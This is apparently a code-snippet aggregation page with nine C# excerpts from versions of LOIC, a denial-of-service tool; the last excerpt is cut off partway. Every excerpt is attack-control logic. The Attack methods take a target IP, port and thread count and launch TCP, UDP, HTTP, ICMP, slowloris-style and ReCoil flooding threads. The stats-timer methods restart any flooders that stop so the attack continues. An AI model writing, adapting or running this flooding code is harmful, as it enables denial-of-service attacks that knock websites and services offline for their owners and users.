Ejemplo n.º 1
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if (tShowStats.Enabled)
                    {
                        tShowStats.Stop();
                    }

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
                    {
                        HandleError("Invalid port.", silent);
                        return;
                    }
                    if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
                    {
                        HandleError("Too many threads!  Lower than 100, please.", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    sMethod  = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if (protocol == Protocol.None)
                    {
                        HandleError("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                    {
                        HandleError("No contents specified.", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
                    {
                        HandleError("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                    {
                        HandleError("Invalid number in timeout box.", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout        = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                        {
                            throw new Exception("Please enter a number.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    HandleError(ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled    = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled    = false;
                cbMethod.Enabled     = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled     = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    switch (protocol)
                    {
                    case Protocol.ReCoil:
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        break;

                    case Protocol.slowLOIC:
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.HTTP:
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.TCP:
                    case Protocol.UDP:
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        break;

                    case Protocol.ICMP:
                        ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        break;
                    }

                    if (ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text       = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled    = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled    = true;
                cbMethod.Enabled     = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled     = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
Ejemplo n.º 2
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                // Protect against race condition
                if (tShowStats.Enabled)
                {
                    tShowStats.Stop();
                }

                if (!int.TryParse(txtPort.Text, out iPort) || iPort < 0 || iPort > 65535)
                {
                    Wtf("I don't think ports are supposed to be written like THAT.", silent);
                    return;
                }

                if (!int.TryParse(txtThreads.Text, out iThreads) || iThreads < 1 || iThreads > 99)
                {
                    Wtf("What on earth made you put THAT in the threads field?", silent);
                    return;
                }

                sIP = txtTarget.Text;
                if (String.IsNullOrEmpty(sIP) || sIP.Equals("N O N E !"))
                {
                    Wtf("Select a target.", silent);
                    return;
                }

                if (String.IsNullOrEmpty(sHost))
                {
                    sHost = sIP;
                }
                if (!sHost.Contains("://"))
                {
                    sHost = String.Concat("http://", sHost);
                }

                try { sHost = new Uri(sHost).Host; }
                catch (UriFormatException ex) { Wtf(ex.Message, silent); return; }

                sMethod  = cbMethod.Text;
                protocol = Protocol.None;
                try {
                    protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                    // Analysis disable once EmptyGeneralCatchClause
                } catch { }
                if (protocol == Protocol.None)
                {
                    Wtf("Select a proper attack method.", silent);
                    return;
                }

                sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                {
                    Wtf("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
                    return;
                }

                sSubsite = txtSubsite.Text;
                if (!sSubsite.StartsWith("/") && (protocol == Protocol.HTTP))
                {
                    Wtf("You have to enter a subsite (for example \"/\")", silent);
                    return;
                }

                if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                {
                    Wtf("What's up with something like that in the timeout box? =S", silent);
                    return;
                }

                cmdAttack.Text = "Stop flooding";

                if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                {
                    arr = new XXPFlooder[iThreads];
                    for (int a = 0; a < arr.Length; a++)
                    {
                        arr[a] = new XXPFlooder(sIP, iPort, (int)protocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
                        arr[a].Start();
                    }
                }
                if (protocol == Protocol.HTTP)
                {
                    arr = new HTTPFlooder[iThreads];
                    for (int a = 0; a < arr.Length; a++)
                    {
                        arr[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        arr[a].Start();
                    }
                }
                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text = AttackText;
                if (arr != null)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                    }
                }
            }
        }
Ejemplo n.º 3
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if (arr == null || intShowStats)
            {
                return;
            }

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;

            if (cmdAttack.Text == StpFldText)
            {
                isFlooding = true;
            }

            if (arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if (arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = arr[a] as cHLDos;

                        iDownloaded += c.Downloaded;
                        iRequested  += c.Requested;
                        iFailed     += c.Failed;
                        if (c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                        {
                            iIdle++;
                        }
                        if (c.State == ReqState.Connecting)
                        {
                            iConnecting++;
                        }
                        if (c.State == ReqState.Requesting)
                        {
                            iRequesting++;
                        }
                        if (c.State == ReqState.Downloading)
                        {
                            iDownloading++;
                        }

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested  = c.Requested;
                            int iaFailed     = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }
                            if (protocol == Protocol.ICMP)
                            {
                                ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                            }

                            if (ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested  = iaRequested;
                                ts.Failed     = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }
                        if (protocol == Protocol.ICMP)
                        {
                            ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        }

                        if (ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else
                        {
                            break;
                        }
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text      = iFailed.ToString();
            lbRequested.Text   = iRequested.ToString();
            lbDownloaded.Text  = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text  = iRequesting.ToString();
            lbConnecting.Text  = iConnecting.ToString();
            lbIdle.Text        = iIdle.ToString();

            intShowStats = false;
        }
Ejemplo n.º 4
0
		private void Attack(bool toggle, bool on, bool silent)
		{
			if((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
			{
				try
				{
					try { iPort = Convert.ToInt32(txtPort.Text); }
					catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

					try { iThreads = Convert.ToInt32(txtThreads.Text); }
					catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

					sIP = txtTarget.Text;
					if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
						throw new Exception("Select a target.");

					if( String.IsNullOrEmpty(sHost) ) sHost = sIP;
					if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost);
					sHost = new Uri(sHost).Host;

					iProtocol = 0;
					sMethod = cbMethod.Text;
					if(String.Equals(sMethod, "TCP")) iProtocol = 1;
					if(String.Equals(sMethod, "UDP")) iProtocol = 2;
					if(String.Equals(sMethod, "HTTP")) iProtocol = 3;
					if(iProtocol == 0)
						throw new Exception("Select a proper attack method.");

					sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
					if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))
						throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");

					sSubsite = txtSubsite.Text;
					if(!sSubsite.StartsWith("/") && (iProtocol == 3))
						throw new Exception("You have to enter a subsite (for example \"/\")");

					try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
					catch { throw new Exception("What's up with something like that in the timeout box? =S"); }
				}
				catch (Exception ex)
				{
					if(silent) return;
					new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;
				}
				cmdAttack.Text = "Stop flooding";

				if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))
				{
					xxp = new XXPFlooder[iThreads];
					for (int a = 0; a < xxp.Length; a++)
					{
						xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
						xxp[a].Start();
					}
				}
				if(String.Equals(sMethod, "HTTP"))
				{
					http = new HTTPFlooder[iThreads];
					for (int a = 0; a < http.Length; a++)
					{
						http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
						http[a].Start();
					}
				}
				tShowStats.Start();
			}
			else if(toggle == true || on == false)
			{
				cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
				if(xxp != null)
				{
					for (int a = 0; a < xxp.Length; a++)
					{
						xxp[a].IsFlooding = false;
					}
				}
				if(http != null)
				{
					for (int a = 0; a < http.Length; a++)
					{
						http[a].IsFlooding = false;
					}
				}
				//tShowStats.Stop();
			}
		}
Ejemplo n.º 5
0
		private void tShowStats_Tick(object sender, EventArgs e)
		{
			if(intShowStats) return; intShowStats = true;

			bool isFlooding = false;
			if(cmdAttack.Text == "Stop for now") isFlooding = true;
			if(iProtocol == 1 || iProtocol == 2)
			{
				int iFloodCount = 0;
				for (int a = 0; a < xxp.Length; a++)
				{
					iFloodCount += xxp[a].FloodCount;
				}
				lbRequested.Text = iFloodCount.ToString();
			}
			if(iProtocol == 3 && http != null)
			{
				int iIdle = 0;
				int iConnecting = 0;
				int iRequesting = 0;
				int iDownloading = 0;
				int iDownloaded = 0;
				int iRequested = 0;
				int iFailed = 0;

				for (int a = 0; a < http.Length; a++)
				{
					iDownloaded += http[a].Downloaded;
					iRequested += http[a].Requested;
					iFailed += http[a].Failed;
					if(http[a].State == HTTPFlooder.ReqState.Ready ||
						http[a].State == HTTPFlooder.ReqState.Completed)
						iIdle++;
					if(http[a].State == HTTPFlooder.ReqState.Connecting)
						iConnecting++;
					if(http[a].State == HTTPFlooder.ReqState.Requesting)
						iRequesting++;
					if(http[a].State == HTTPFlooder.ReqState.Downloading)
						iDownloading++;
					if(isFlooding && !http[a].IsFlooding)
					{
						int iaDownloaded = http[a].Downloaded;
						int iaRequested = http[a].Requested;
						int iaFailed = http[a].Failed;
						http[a] = null;
						http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
						http[a].Downloaded = iaDownloaded;
						http[a].Requested = iaRequested;
						http[a].Failed = iaFailed;
						http[a].Start();
					}
				}
				lbFailed.Text = iFailed.ToString();
				lbRequested.Text = iRequested.ToString();
				lbDownloaded.Text = iDownloaded.ToString();
				lbDownloading.Text = iDownloading.ToString();
				lbRequesting.Text = iRequesting.ToString();
				lbConnecting.Text = iConnecting.ToString();
				lbIdle.Text = iIdle.ToString();
			}

			intShowStats = false;
		}
Ejemplo n.º 6
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if(tShowStats.Enabled) tShowStats.Stop();

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort)) {
                        Wtf ("I don't think ports are supposed to be written like THAT.", silent);
                        return;
                    }

                    if (!Functions.ParseInt(txtThreads.Text, 1, 99, out iThreads)) {
                        Wtf ("What on earth made you put THAT in the threads field?", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                        throw new Exception("Select a target.");

                    sMethod = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol) Enum.Parse (typeof (Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if(protocol == Protocol.None) {
                        Wtf ("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if(String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP)) {
                        Wtf ("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith ("/") && ((int)protocol >= (int)Protocol.HTTP)) {
                        Wtf ("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse (txtTimeout.Text, out iTimeout) || iTimeout < 1) {
                        Wtf ("What's up with something like that in the timeout box? =S", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                            throw new Exception("A number is fine too!");
                    }
                }
                catch (Exception ex)
                {
                    Wtf (ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled = false;
                cbMethod.Enabled = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    if (protocol == Protocol.ReCoil)
                    {
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.slowLOIC)
                    {
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.HTTP)
                    {
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                    {
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                    }

                    if(ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if(toggle || !on)
            {
                cmdAttack.Text = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled = true;
                cbMethod.Enabled = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if(arr == null || intShowStats)
                return;

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;
            if (cmdAttack.Text == StpFldText)
                isFlooding = true;

            if(arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if(arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = (cHLDos)arr[a];

                        iDownloaded += c.Downloaded;
                        iRequested += c.Requested;
                        iFailed += c.Failed;
                        if(c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                            iIdle++;
                        if (c.State == ReqState.Connecting)
                            iConnecting++;
                        if (c.State == ReqState.Requesting)
                            iRequesting++;
                        if (c.State == ReqState.Downloading)
                            iDownloading++;

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested = c.Requested;
                            int iaFailed = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }

                            if(ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested = iaRequested;
                                ts.Failed = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }

                        if(ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else break;
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text = iFailed.ToString();
            lbRequested.Text = iRequested.ToString();
            lbDownloaded.Text = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text = iRequesting.ToString();
            lbConnecting.Text = iConnecting.ToString();
            lbIdle.Text = iIdle.ToString();

            intShowStats = false;
        }
Ejemplo n.º 8
0
        private void Attack(bool toggle, bool on, bool silent)
        {
            if ((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
            {
                try
                {
                    try { iPort = Convert.ToInt32(txtPort.Text); }
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

                    try { iThreads = Convert.ToInt32(txtThreads.Text); }
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

                    sIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    if (String.IsNullOrEmpty(sHost))
                    {
                        sHost = sIP;
                    }
                    if (!sHost.Contains("://"))
                    {
                        sHost = String.Concat("http://", sHost);
                    }
                    sHost = new Uri(sHost).Host;

                    iProtocol = 0;
                    sMethod   = cbMethod.Text;
                    if (String.Equals(sMethod, "TCP"))
                    {
                        iProtocol = 1;
                    }
                    if (String.Equals(sMethod, "UDP"))
                    {
                        iProtocol = 2;
                    }
                    if (String.Equals(sMethod, "HTTP"))
                    {
                        iProtocol = 3;
                    }
                    if (iProtocol == 0)
                    {
                        throw new Exception("Select a proper attack method.");
                    }

                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))
                    {
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (iProtocol == 3))
                    {
                        throw new Exception("You have to enter a subsite (for example \"/\")");
                    }

                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); }
                }
                catch (Exception ex)
                {
                    if (silent)
                    {
                        return;
                    }
                    new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;
                }
                cmdAttack.Text = "Stop flooding";

                if (String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))
                {
                    xxp = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
                        xxp[a].Start();
                    }
                }
                if (String.Equals(sMethod, "HTTP"))
                {
                    http = new HTTPFlooder[iThreads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        http[a].Start();
                    }
                }

                tShowStats.Start();
            }
            else if (toggle == true || on == false)
            {
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (xxp != null)
                {
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a].IsFlooding = false;
                    }
                }
                if (http != null)
                {
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a].IsFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
Ejemplo n.º 9
0
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            if (intShowStats)
            {
                return;
            }
            intShowStats = true;

            bool isFlooding = false;

            if (cmdAttack.Text == "Stop for now")
            {
                isFlooding = true;
            }
            if (iProtocol == 1 || iProtocol == 2)
            {
                int iFloodCount = 0;
                for (int a = 0; a < xxp.Length; a++)
                {
                    iFloodCount += xxp[a].FloodCount;
                }
                lbRequested.Text = iFloodCount.ToString();
            }
            if (iProtocol == 3 && http != null)
            {
                int iIdle        = 0;
                int iConnecting  = 0;
                int iRequesting  = 0;
                int iDownloading = 0;
                int iDownloaded  = 0;
                int iRequested   = 0;
                int iFailed      = 0;

                for (int a = 0; a < http.Length; a++)
                {
                    iDownloaded += http[a].Downloaded;
                    iRequested  += http[a].Requested;
                    iFailed     += http[a].Failed;
                    if (http[a].State == HTTPFlooder.ReqState.Ready ||
                        http[a].State == HTTPFlooder.ReqState.Completed)
                    {
                        iIdle++;
                    }
                    if (http[a].State == HTTPFlooder.ReqState.Connecting)
                    {
                        iConnecting++;
                    }
                    if (http[a].State == HTTPFlooder.ReqState.Requesting)
                    {
                        iRequesting++;
                    }
                    if (http[a].State == HTTPFlooder.ReqState.Downloading)
                    {
                        iDownloading++;
                    }
                    if (isFlooding && !http[a].IsFlooding)
                    {
                        int iaDownloaded = http[a].Downloaded;
                        int iaRequested  = http[a].Requested;
                        int iaFailed     = http[a].Failed;
                        http[a]            = null;
                        http[a]            = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        http[a].Downloaded = iaDownloaded;
                        http[a].Requested  = iaRequested;
